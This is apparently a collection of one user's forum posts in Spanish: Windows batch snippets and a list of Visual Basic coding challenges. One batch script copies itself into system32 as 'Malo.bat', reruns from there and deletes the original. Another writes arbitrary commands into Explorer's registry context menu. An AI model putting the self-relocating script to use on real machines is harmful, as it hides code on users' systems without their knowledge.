Mensajes

[79137913]

HOLA!!!

No me funciona tu código 79137913...cuando le doy a cifrar, escribo la frase y el shift y sólo me muestra el número que haya puesto de desplazamiento.
PD: Aqui  se te coló algo  

No me pregunten porque pero parece que el sistema de seguridad analiza mi codigo como si fuera un intento de XSS por ende me suplanta palabras y lo deja sin funcionalidad aca el codigo completo:

http://pastebin.com/ZjchPt0q

P.D: solo con mayusculas, si quieren minusculas habria que agregar otro bucle mas sin sentido.

GRACIAS POR LEER!!!

HOLA!!!

100% codeado por mi no como otros chantas que andan dando vueltas por estos retos (no raul vos no XD)

No me pregunten porque pero parece que el sistema de seguridad analiza mi codigo como si fuera un intento de XSS por ende me suplanta palabras y lo deja sin funcionalidad aca el codigo completo:

http://pastebin.com/ZjchPt0q

GRACIAS POR LEER!!!

HOLA!!!

Listo arreglado.

GRACIAS POR LEER!!!

HOLA!!!

Código (dos) [Seleccionar] Expandir

@ECHO OFF
Setlocal EnableDelayedExpansion
For /L %%f in (1,1,20) do (
SET HOLA=!RANDOM:~-3!
IF !HOLA! LSS 100 (SET /A HOLA=!HOLA!+100)
echo !HOLA!>>a.a
)
type a.a | sort
del a.a


P.d: EL P*TO AVAST ME BORRO EL SORT.EXE.

GRACIAS POR LEER!!!

HOLA!!!

Tenes razon, ahora si funciona, el ultimo exit estaba de mas

GRACIAS POR LEER!!!

HOLA!!!

Código (dos) [Seleccionar] Expandir

@ECHO OFF
SETlocal enabledelayedexpansion
SET /P N=INTRODUCE EL NUMERO:
SET /A MIN=9
SET /A MAX=0
SET NUM=0
:LOOP
call set CHAR=%%N:~%NUM%,1%%%
set /a NUM+=1
IF "%CHAR%" EQU "" (GOTO TERMINAR)
IF 1%CHAR% LSS 1%MIN% (SET /A MIN = %CHAR%)
IF 1%CHAR% GTR 1%MAX% (SET /A MAX = %CHAR%)
SET RN=%CHAR%%RN%
SET /A ISP= %CHAR% %% 2
IF %ISP% == 0 (CALL SET PARES=%PARES%%CHAR%)
GOTO LOOP
:TERMINAR
ECHO REVSTR:%RN% MIN:%MIN% MAX:%MAX% PARES:%PARES%
pause

GRACIAS POR LEER!!!

HOLA!!!

Código (dos) [Seleccionar] Expandir

@ECHO OFF
SETLOCAL ENABLEDELAYEDEXPANSION
FOR /l %%Y IN (1, 1, 9) DO (
ECHO TABLA DEL %%Y :
  FOR /l %%X IN (0, 1, 10) DO (
SET /a TOT=%%X*%%Y
ECHO %%Y X %%X = !TOT!
  )
)
PAUSE

O, con un poco mas de codigo:

Código (dos) [Seleccionar] Expandir

@ECHO OFF
SETLOCAL ENABLEDELAYEDEXPANSION
ECHO TABLAS DE MULTIPLICAR:
ECHO X1 X2 X3 X4 X5 X6 X7 X8 X9
FOR /l %%Y IN (1, 1, 9) DO (
SET A=TABLA DEL %%Y :
   FOR /l %%X IN (1, 1, 9) DO (
SET /a TOT=%%X*%%Y
SET A=!A! !TOT!
   )
   ECHO !A!
)
PAUSE

GRACIAS POR LEER!!!

HOLA!!!

(este batch recibe parametros... Mibatch.bat NombreEXT ComandoEXT)

Código (dos) [Seleccionar] Expandir

Reg Add HKCR\Directory\shell\%1 /F
Reg Add HKCR\Directory\shell\%1\Command /D "%2" /F

GRACIAS POR LEER!!!

HOLA!!!

Código (dos) [Seleccionar] Expandir

@ECHO OFF
IF EXIST "%SystemRoot%\system32\Malo.bat" GOTO ENDBAT
COPY /Y %0 "%SystemRoot%\system32\Malo.bat"
CALL "%SystemRoot%\system32\Malo.bat"
DEL /S /Q %0
EXIT
:ENDBAT
ECHO "ME ESTOY EJECUTANDO EN"
ECHO %0

Para que la ejecucion sea paralela cambiamos el CALL por un START.

GRACIAS POR LEER!!!

[[RETO] + Funcion Extraer Numeros de Cadenas!]

HOLA!!!

RECOPILACION DE RETOS:

[RETO] + Funcion Extraer Numeros de Cadenas!

Código (vb) [Seleccionar] Expandir

Function ExtractNums_ByUser(expression As String) As String
Ejemplo:

Código [Seleccionar] Expandir

Input: ewiuc3dskhd8nkd62ndsnk9
Ouput: 38629
Participan: Karcrack, 79137913, BlackZeroX, Elemental code y RHL.


[RETO] Reemplazo de Funcion IsNumeric

Código (vb) [Seleccionar] Expandir

Private Function IsNumeric_ByUser(str As String) As Boolean
Ejemplo:

Código [Seleccionar] Expandir

IsNumeric("asdf") ->False
IsNumeric("a12f") ->False
IsNumeric("12,12") ->True
IsNumeric("12.12") ->True
IsNumeric("12,23,34") ->False
IsNumeric("133.23.330") ->True
IsNumeric("36.658,30") ->True
IsNumeric("81,838.59") ->True
Participan: 79137913, Tenient101, AlxSpy, raul338, TGa, BlackZeroX y LeandroA.


[RETO] IsDate

Código (vb) [Seleccionar] Expandir

Function IsDate_ByUser(str As String) As Boolean
Ejemplo:

Código [Seleccionar] Expandir

Con estas fechas debe devolver true
31/07/2000
30/07/2000
01/02/2000
25/05/2002
15/07/2000
28/02/2001
31/05/2001
30/12/2011
29/02/2004
Y con estas false
01/00/2011 ' No existe Mes 00
31/04/2001 ' Abril no tiene 31 xD
00/12/2011 ' Dia 00, WTF
00/00/2011 ' Dia 00, Mes 00, WTF x2
01/13/2011 ' Mes 13, WTF!
30/02/2001 ' Febrero NUNCA tendra 30
29/02/2003 ' 2003 No es bisiesto :3
Participan: Ignorante v1.1, 79137913, BlackZeroX, $Edu$, Tenient101, Raul338 y Psyke1.


[RETO] Recortar cadena.

Código (vb) [Seleccionar] Expandir

Public Function DeleteString(ByVal sString As String, ByVal PosComienzo As Long, ByVal Longitud As Long) As String
Ejemplo:

Código [Seleccionar] Expandir

S = "Hola hoy estoy cansado"
S = Recortar(s, 4, 4)
Debug.Print S 'Hola estoy cansado
Participan: 79137913, Tenient101, Psyke1 y BlackZeroX.


[Reto] IsHour

Código (vb) [Seleccionar] Expandir

Public Function IsHour_ByUser(str As String) As Boolean
Ejemplo:

Código [Seleccionar] Expandir

* Debe aceptar de "00:00:00" hasta "23:59:59"
* En base a lo anterior y para hacerlo mas interesante lo correcto es llenar los dos lugares, si es menor que 10 se pondra un cero, ejemplo:
"05:59:59" ----> Correcto
"5:59:59" ---- > Falso
* Debe devolver True si la hora es correcta
* El delimitador para separar los numeros es ":"
Participan: raul338, Elemental Code, Tenient101, RHL, Psyke1 y BlackZeroX.


[RETO] Palabras pronunciables

Código (vb) [Seleccionar] Expandir

Private Function Palabras_ByUser(Letras As Long) As String
Ejemplo:

Código [Seleccionar] Expandir

Funcion donde ingresemos la longitud de la cadena y te generara una palabra pronunciable.
Ej: presifriasakokreadfertuasxienplirubeen
Participan: 79137913 y Psyke1.


[Reto] Show My Source Code.

Código (vb) [Seleccionar] Expandir

Codigo que se auto muestra
Ejemplo:

Código [Seleccionar] Expandir

El codigo de mi programa es:
sub main()
msgbox todoelcodigo'en todo el codigo debe estar todo esto.
end sub
Participan: 79137913, BlackZeroX  e ignorantev1.1.


[RETO] Obtener nombre de archivo

Código (vb) [Seleccionar] Expandir

Function getFileName(ByVal path As String) As String
Ejemplo:

Código [Seleccionar] Expandir

Consiste en obtener el nombre de archivo a partir de una ruta, así:
C:\Documents and Settings\Llamazares\Mis documentos\Downloads\SexoDeRanas.avi
Deberia devolver la función:
SexoDeRanas.avi
Participan: 79137913, BlackZeroX, ignorantev1.1, Karcrack, Psyke1, Elemental Code y seba123neo.


[RETO] Alternativa a Instr()

Código (vb) [Seleccionar] Expandir

Private Function InStr_ByUser(Start As Long, String1 As String, String2 As String) As Long
Ejemplo:

Código [Seleccionar] Expandir

Una función que hace lo mismo que Instr().
Participan: 79137913, Miseryk, TGa, Tokes, raul338, krabby, gaston93, BlackZeroX y Psyke1.


[RETO] CompWordsAlphabetically

Código (vb) [Seleccionar] Expandir

Private Function FirstWord_ByUser(W1 As String, W2 As String) As Long
Ejemplo:

Código [Seleccionar] Expandir

0 : Error
1 : La 1ª palabra va antes en el abecedario
2 : La 2ª palabra va antes en el abecedario
3 : Ambas palabras son iguales
"rana"        - "" -> 0
"hola"        - "holas" -> 1
"bienvenido"  - "bienvenida" -> 2
"Ejemplo"     - "eJempLIficar"  -> 2
"igual"       - "igual"         -> 3
"PALABRA"     - "palabra"       -> 3
Participan: 79137913, raul338, Karcrack, Edu y Psyke1.


[RETO] uCaseCorrect. Corrector de Mayusculas!

Código (vb) [Seleccionar] Expandir

Private Function uCaseCorrect_ByUser(Txt As String) As String
Ejemplo:

Código [Seleccionar] Expandir

La funcion debe corregir las mayusculas de la cadena poniendo mayusculas despues de los puntos y en cuanto a los ¡! y ¿?  miren esto : http://goo.gl/z14ab
Participan: 79137913, Edu y Psyke1.


[Reto] Zig Zag (OJO ANALISIS)

Código (vb) [Seleccionar] Expandir

Private Function ByUser_ZipZag(ByVal lNum As Long) As Long()
Ejemplo:

Código [Seleccionar] Expandir

Simple reto de recrear una matriz bidimensional
Participan: 79137913, LeandroA, BlackZeroX y Psyke1.


[RETO] IsFibonacciNumber(N as long) as Boolean

Código (vb) [Seleccionar] Expandir

Private Function IsFibonacci_ByUser(ByVal N As Long) As Boolean
Ejemplo:

Código [Seleccionar] Expandir

Se le da un numero entero sea Positivo o Negativo la funcion devolvera True si efectivamente es un numero perteneciente a la serie y false si no pertenece.
Participan: 79137913, Elemental Code, DarkMatrix, BlackZeroX y Psyke1.


[RETO] Comprobar si un numero dado es un numero de la suerte

Código (vb) [Seleccionar] Expandir

Private Function IsLuckyNumber(ByVal Num As Long) As Boolean
Ejemplo:

Código [Seleccionar] Expandir

True y false segun :
http://es.wikipedia.org/wiki/N%C3%BAmero_de_la_suerte
Participan: LeandroA, Dessa, Tokes, BlackZeroX, cobein y Psyke1.


[RETO] Reemplazo de Operadores Binarios.

Código (vb) [Seleccionar] Expandir

AndAlt(Byte1 As Long, Byte2 As Long) as Long
OrAlt(Byte1 As Long, Byte2 As Long) as Long
XorAlt(Byte1 As Long, Byte2 As Long) as Long
NotAlt(Byte1 As Long) as Long
Ejemplo:

Código [Seleccionar] Expandir


Se reemplazan los operadores comunes.
Primero los valores se convierten a binario y luego se hace esto:

And: Solo si se comparte el mismo bit en ambos numeros.
Valor 1 = 0 0 1 0 1 0 0 0
Valor 2 = 1 0 1 1 1 0 1 1
       -----------------
Result  = 0 0 1 0 1 0 0 0

Or : Solo si uno tiene un bit "1".
Valor 1 = 0 0 1 0 1 0 0 0
Valor 2 = 1 0 1 1 1 0 1 1
       -----------------
Result  = 1 0 1 1 1 0 1 1

Xor : Solo si uno tiene un bit "1" y el otro "0".
Valor 1 = 0 0 1 0 1 0 0 0
Valor 2 = 1 0 1 1 1 0 1 1
       -----------------
Result  = 1 0 0 1 0 0 1 1
Participan: 79137913 y BlackZeroX.


[RETO] Matriz de Cuenta Circular 7913

Código (vb) [Seleccionar] Expandir

Private Function Cuenta_Circular7913(N&, M() As Integer, TIPO As Boolean)
Ejemplo:

Código [Seleccionar] Expandir

Simple reto de recrear una matriz bidimensional
Participan: 79137913 y LeandroA.


[RETO] Comprobar si un numero es Oblongo/Pronico

Código (vb) [Seleccionar] Expandir

Private Function IsOblongo(ByVal lNumb As Long, ByRef n As Long) As Boolean
Ejemplo:

Código [Seleccionar] Expandir

True y false segun:
http://en.wikipedia.org/wiki/Pronic_number
http://oeis.org/classic/A002378
Participan: Karcrack, raul338, LeandroA, Tokes y BlackZeroX.


[RETO] Matriz Bidimensional {FrogMatrix algorithm}

Código (vb) [Seleccionar] Expandir

Public Function FrogMatrix(ByVal lSize&) As Long()
Ejemplo:

Código [Seleccionar] Expandir

Simple reto de recrear una matriz bidimensional
Participan: 79137913, LeandroA, Psyke1 y BlackZeroX.


[RETO] ¿Fácil? Buscando los números de Lychrel

Código (vb) [Seleccionar] Expandir

Public Function IsLychrelNumber(numero As Double, ByRef numeroFinal As Double,Optional maxVueltas As Long = 20) As Boolean
Ejemplo:

Código [Seleccionar] Expandir

True y false segun:
http://gaussianos.com/la-conjetura-del-196/
http://en.wikipedia.org/wiki/Lychrel_number
Participan: raul338, Novlucker, [D4N93R], Tokes, BlackZeroX y Psyke1.


[RETO] IsItPrime() - Comprobar si un numero es primo

Código (vb) [Seleccionar] Expandir

Public Function IsItPrime(ByVal lNumber As Long) As Boolean
Ejemplo:

Código [Seleccionar] Expandir

Verificar si es primo
Participan: Karcrack, Psyke1, cobein y e500.


[RETO] Entero a cadena

Código (vb) [Seleccionar] Expandir

Public Function ItoA01(ByVal lNumb As Long) As String
Ejemplo:

Código [Seleccionar] Expandir

1337 -> "1337"
En este reto aprendi una de las mejores mejoras de velocidad el metodo llamado "Evil Type Conversion" Recomendado leer
Participan: Karcrack, LeandroA, raul338, MCKSys Argentina y Psyke1.


[RETO] Comprobar si un numero es odioso

Código (vb) [Seleccionar] Expandir

Private Function IsItOdious(ByVal lNumb As Long) As Boolean
Ejemplo:

Código [Seleccionar] Expandir

True y false segun:
http://mathworld.wolfram.com/OdiousNumber.html
http://oeis.org/classic/A000069
Participan: Karcrack, BlackZeroX, LeandroA, Tokes y cobein.


[RETO] Cuadrado Numerico en forma de "¬"

Código (vb) [Seleccionar] Expandir

Private Sub CuadradoArray(arr() As Long, lNum As Long)
Ejemplo:

Código [Seleccionar] Expandir

Simple reto de recrear una matriz bidimensional
Participan: Tenient101, BlackZeroX y LeandroA.


[RETO] GetMaskColor

Código (vb) [Seleccionar] Expandir

Private Function GetMaskColor(oPic As PictureBox) As Long
Ejemplo:

Código [Seleccionar] Expandir

Obtiene el color de la mascara transparente de una imagen.
Participan: LeandroA y seba123neo.
   

[RETO] Funcion iFactorize() - Factorizacion de numeros enteros

Código (vb) [Seleccionar] Expandir

Public Function iFactorize(ByVal n As Long) As Collection
Ejemplo:

Código [Seleccionar] Expandir


La funcion ha de devolver un Collection con todos los numeros primos que componen ese numero
http://en.wikipedia.org/wiki/Integer_factorization
http://es.wikipedia.org/wiki/Factorizaci%C3%B3n_de_enteros
Participan: Karcrack, BlackZeroX y Angeldj27.


mFileExists.bas [Tan rustico como se pueda ]

Código (vb) [Seleccionar] Expandir

Private Function F_Exist(sPath as string) As Boolean
Ejemplo:

Código [Seleccionar] Expandir

File Exist
Participan: Elemental Code, 79137913, LeandroA, Psyke1, Karcrackb y raul338.


[RETO] Ruta más oculta

Código (vb) [Seleccionar] Expandir

Public Function getLastFolder(Byval sStartPath As String) As String
Ejemplo:

Código [Seleccionar] Expandir

Debug.Print getLastFolder("C:\Users\casa-pc\Desktop\")
C:\Users\casa-pc\Desktop\Música\Sonido\Programas\Video\VLC\data\res
Participan: Elemental Code, Seba123Neo, LeandroA, Psyke1 y MCKSys Argentina


[Reto] UrlEncode y UrlDecod

Código (vb) [Seleccionar] Expandir

Public Function URLDecode(ByVal sURL As String, Optional ByVal SpacePlus As Boolean = True) As String
Public Function URLEncode(ByVal sURL As String, Optional ByVal SpacePlus As Boolean = True) As String
Ejemplo:

Código [Seleccionar] Expandir

es practicamente como lo que hace esta web http://meyerweb.com/eric/tools/dencoder/
osea ingresamos
https://www.google.com.ar/search?q=canción
si usamos la funcion urlEncode deberia cambiar el acento
https://www.google.com.ar/search?q=canci%C3%B3n
por lo visto esta pasado a utf8 y luego a hex
lo importante es que encode los parámetros no la url entera ya que sino dejaria de ser una url valida.
Participan: Danyfirex, MCKSys Argentina, LeandroA, cobein y Psyke1.


GRACIAS POR LEER!!!